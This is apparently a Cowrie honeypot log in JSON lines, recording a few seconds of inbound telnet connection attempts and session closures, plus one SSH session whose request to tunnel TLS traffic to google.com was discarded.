{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":57400,"dst_ip":"159.203.135.109","dst_port":23,"session":"f74ebd9ebdea","protocol":"telnet","message":"New connection: 46.101.32.143:57400 (159.203.135.109:23) [session: f74ebd9ebdea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:51.182742Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":36112,"dst_ip":"159.203.135.109","dst_port":23,"session":"de77bd4d6139","protocol":"telnet","message":"New connection: 173.249.44.46:36112 (159.203.135.109:23) [session: de77bd4d6139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:51.392510Z"}
{"eventid":"cowrie.session.closed","duration":31.588425874710083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:51.569618Z","src_ip":"46.101.32.143","session":"f0fdbf551b9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":56616,"dst_ip":"159.203.135.109","dst_port":23,"session":"942c898ddca0","protocol":"telnet","message":"New connection: 147.135.136.77:56616 (159.203.135.109:23) [session: 942c898ddca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:51.910743Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":36892,"dst_ip":"159.203.135.109","dst_port":23,"session":"235af9dac77a","protocol":"telnet","message":"New connection: 173.249.44.46:36892 (159.203.135.109:23) [session: 235af9dac77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:51.993464Z"}
{"eventid":"cowrie.session.closed","duration":30.746490001678467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:52.041756Z","src_ip":"37.187.24.227","session":"25fe3ec6689e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":58588,"dst_ip":"159.203.135.109","dst_port":23,"session":"14db42215a4c","protocol":"telnet","message":"New connection: 46.101.32.143:58588 (159.203.135.109:23) [session: 14db42215a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:52.200660Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":35808,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f67659ef138","protocol":"telnet","message":"New connection: 81.30.157.18:35808 (159.203.135.109:23) [session: 4f67659ef138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:52.277825Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":46234,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c933838b320","protocol":"telnet","message":"New connection: 85.208.100.77:46234 (159.203.135.109:23) [session: 3c933838b320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:52.365176Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":46282,"dst_ip":"159.203.135.109","dst_port":23,"session":"89d6459ac8b2","protocol":"telnet","message":"New connection: 85.208.100.77:46282 (159.203.135.109:23) [session: 89d6459ac8b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:52.388302Z"}
{"eventid":"cowrie.session.closed","duration":31.74431610107422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:52.728791Z","src_ip":"81.30.157.18","session":"c836a04951f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":47376,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dfa4b9a2022","protocol":"telnet","message":"New connection: 85.208.100.77:47376 (159.203.135.109:23) [session: 1dfa4b9a2022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:52.907276Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":50020,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a7d833999f9","protocol":"telnet","message":"New connection: 69.65.3.189:50020 (10.17.0.5:23) [session: 0a7d833999f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:52.947020Z"}
{"eventid":"cowrie.session.closed","duration":30.870669841766357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:53.065269Z","src_ip":"46.101.32.143","session":"22e29fcc3084","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.356264114379883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:53.148413Z","src_ip":"37.187.24.227","session":"d63d65cbc577","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":41714,"dst_ip":"159.203.135.109","dst_port":23,"session":"861c9f427f1f","protocol":"telnet","message":"New connection: 82.163.78.83:41714 (159.203.135.109:23) [session: 861c9f427f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:53.274472Z"}
{"eventid":"cowrie.session.closed","duration":30.743720293045044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:53.319928Z","src_ip":"46.101.32.143","session":"54faeeb641f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":46652,"dst_ip":"159.203.135.109","dst_port":23,"session":"21ec93b8e334","protocol":"telnet","message":"New connection: 149.102.133.101:46652 (159.203.135.109:23) [session: 21ec93b8e334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:53.389548Z"}
{"eventid":"cowrie.session.closed","duration":31.186220169067383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:53.517576Z","src_ip":"149.102.133.101","session":"1837dac02cd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":35820,"dst_ip":"159.203.135.109","dst_port":23,"session":"f396c5732177","protocol":"telnet","message":"New connection: 81.30.157.18:35820 (159.203.135.109:23) [session: f396c5732177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:53.722393Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":32814,"dst_ip":"159.203.135.109","dst_port":23,"session":"a87849d45494","protocol":"telnet","message":"New connection: 168.119.91.149:32814 (159.203.135.109:23) [session: a87849d45494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:54.076776Z"}
{"eventid":"cowrie.session.closed","duration":30.790398120880127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:54.094261Z","src_ip":"46.101.32.143","session":"928748c13b07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88432216644287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:54.121213Z","src_ip":"46.101.32.143","session":"1a70d1cf895c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.525602102279663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:54.177943Z","src_ip":"168.119.91.149","session":"790f3a41e64b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":35942,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ef00baa5697","protocol":"telnet","message":"New connection: 37.187.24.227:35942 (159.203.135.109:23) [session: 6ef00baa5697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:54.191116Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":41934,"dst_ip":"159.203.135.109","dst_port":23,"session":"046989bbdb4e","protocol":"telnet","message":"New connection: 81.30.157.18:41934 (159.203.135.109:23) [session: 046989bbdb4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:54.306470Z"}
{"eventid":"cowrie.session.closed","duration":30.563063859939575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:54.425134Z","src_ip":"81.30.157.18","session":"438c3973d47c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":32822,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9ddc813b95a","protocol":"telnet","message":"New connection: 168.119.91.149:32822 (159.203.135.109:23) [session: d9ddc813b95a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:54.698535Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":53492,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa023efa41c3","protocol":"telnet","message":"New connection: 149.102.133.101:53492 (159.203.135.109:23) [session: fa023efa41c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:54.716866Z"}
{"eventid":"cowrie.session.closed","duration":31.238045930862427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:54.768800Z","src_ip":"206.189.139.22","session":"65d01c902502","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.591121196746826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:55.094504Z","src_ip":"81.30.157.18","session":"73d872ffda2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.855950355529785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:55.183038Z","src_ip":"81.30.157.18","session":"dc54ca95a963","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":38492,"dst_ip":"159.203.135.109","dst_port":23,"session":"acc676dc6e2c","protocol":"telnet","message":"New connection: 37.187.24.227:38492 (159.203.135.109:23) [session: acc676dc6e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:55.232645Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":53494,"dst_ip":"159.203.135.109","dst_port":23,"session":"7684b7a86b58","protocol":"telnet","message":"New connection: 149.102.133.101:53494 (159.203.135.109:23) [session: 7684b7a86b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:55.477001Z"}
{"eventid":"cowrie.session.closed","duration":30.57001566886902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:55.490344Z","src_ip":"168.119.91.149","session":"94f275057a98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.652832984924316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:55.500264Z","src_ip":"168.119.91.149","session":"fd585b6c1386","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87692666053772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:55.523950Z","src_ip":"168.119.91.149","session":"aff985b22aad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":41678,"dst_ip":"159.203.135.109","dst_port":23,"session":"5242656ab8e5","protocol":"telnet","message":"New connection: 173.249.44.46:41678 (159.203.135.109:23) [session: 5242656ab8e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:55.536787Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":32826,"dst_ip":"159.203.135.109","dst_port":23,"session":"60044ec0b23c","protocol":"telnet","message":"New connection: 168.119.91.149:32826 (159.203.135.109:23) [session: 60044ec0b23c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:55.885215Z"}
{"eventid":"cowrie.session.closed","duration":30.19416618347168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:56.049303Z","src_ip":"81.30.157.18","session":"cd1b6fd62665","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.464694261550903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:56.127147Z","src_ip":"82.163.78.83","session":"4bc2d1f9d321","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":53624,"dst_ip":"159.203.135.109","dst_port":23,"session":"838711665f11","protocol":"telnet","message":"New connection: 85.208.100.77:53624 (159.203.135.109:23) [session: 838711665f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:56.209109Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"80.67.167.81","src_port":36920,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:36920","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:56.309441Z","session":"a8ca30156c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":35086,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd43e3786d6a","protocol":"telnet","message":"New connection: 46.101.32.143:35086 (159.203.135.109:23) [session: dd43e3786d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:56.439630Z"}
{"eventid":"cowrie.session.closed","duration":30.68801975250244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:56.588083Z","src_ip":"168.119.91.149","session":"9a9d44bdb8cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":45244,"dst_ip":"159.203.135.109","dst_port":23,"session":"78dd94821db8","protocol":"telnet","message":"New connection: 82.163.78.83:45244 (159.203.135.109:23) [session: 78dd94821db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:56.771463Z"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"google.com","dst_port":443,"ja4":"t12d3112h2_e8f1e7e78f70_64f78f54e6a2","message":"JA4 fingerprint for forwarded TLS to google.com:443: t12d3112h2_e8f1e7e78f70_64f78f54e6a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:56.783223Z","src_ip":"80.67.167.81","session":"a8ca30156c35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"google.com","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfa\\x1c\\xc3u4\\xe9\\x8f\\x17OT^\\x12V\\xc3\\xdf\\x1d7\\xbc\\x12\\x18\\x95\\x8d\\x83\\x1d\\x8a\\t5\\x994\\xee\\x9c\\xeb \\xc4\\xd9\\x82N\\xccn\\x19?\\x9c'\\x91(\\x84\\xfc\\xcc\\xcbP\\x8f&#\\x10\\x81]\\t\\xa37]\\xd6\\x89\\\\;\\x1a\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 ,\\xe2:m\\x80F%\\xe8\\xa2:\\xcek\\x89\\x8bk\\xe6\\xa2\\x87H\\xf5O\\x85\\xffK\\xa9\\xa9\\xd7\\x9e8+\\xab\\x1c\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to google.com:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfa\\x1c\\xc3u4\\xe9\\x8f\\x17OT^\\x12V\\xc3\\xdf\\x1d7\\xbc\\x12\\x18\\x95\\x8d\\x83\\x1d\\x8a\\t5\\x994\\xee\\x9c\\xeb \\xc4\\xd9\\x82N\\xccn\\x19?\\x9c'\\x91(\\x84\\xfc\\xcc\\xcbP\\x8f&#\\x10\\x81]\\t\\xa37]\\xd6\\x89\\\\;\\x1a\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 ,\\xe2:m\\x80F%\\xe8\\xa2:\\xcek\\x89\\x8bk\\xe6\\xa2\\x87H\\xf5O\\x85\\xffK\\xa9\\xa9\\xd7\\x9e8+\\xab\\x1c\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:56.787464Z","src_ip":"80.67.167.81","session":"a8ca30156c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":42578,"dst_ip":"159.203.135.109","dst_port":23,"session":"df8a471cb3bc","protocol":"telnet","message":"New connection: 37.187.24.227:42578 (159.203.135.109:23) [session: df8a471cb3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:56.866800Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":43960,"dst_ip":"159.203.135.109","dst_port":23,"session":"66eaed6c74cc","protocol":"telnet","message":"New connection: 173.249.44.46:43960 (159.203.135.109:23) [session: 66eaed6c74cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:56.922561Z"}
{"eventid":"cowrie.session.closed","duration":30.328118562698364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:57.088250Z","src_ip":"147.135.136.77","session":"45d660186f42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":41938,"dst_ip":"159.203.135.109","dst_port":23,"session":"26b8bebc2284","protocol":"telnet","message":"New connection: 81.30.157.18:41938 (159.203.135.109:23) [session: 26b8bebc2284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:57.149387Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":44212,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0b092d82304","protocol":"telnet","message":"New connection: 173.249.44.46:44212 (159.203.135.109:23) [session: a0b092d82304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:57.156398Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":45784,"dst_ip":"159.203.135.109","dst_port":23,"session":"d99636171e6d","protocol":"telnet","message":"New connection: 82.163.78.83:45784 (159.203.135.109:23) [session: d99636171e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:57.297758Z"}
{"eventid":"cowrie.session.closed","duration":"20.9","message":"Connection lost after 20.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:57.325074Z","src_ip":"80.67.167.81","session":"a8ca30156c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.099438905715942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:57.331493Z","src_ip":"37.187.24.227","session":"3805df313744","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61772084236145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:57.508540Z","src_ip":"168.119.91.149","session":"8c644150bbe8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":36406,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3ea5e5ff06a","protocol":"telnet","message":"New connection: 46.101.32.143:36406 (159.203.135.109:23) [session: b3ea5e5ff06a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:57.635260Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":41948,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3255d3d4053","protocol":"telnet","message":"New connection: 81.30.157.18:41948 (159.203.135.109:23) [session: a3255d3d4053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:57.663208Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":36490,"dst_ip":"159.203.135.109","dst_port":23,"session":"b208dd2e83a8","protocol":"telnet","message":"New connection: 46.101.32.143:36490 (159.203.135.109:23) [session: b208dd2e83a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:57.736497Z"}
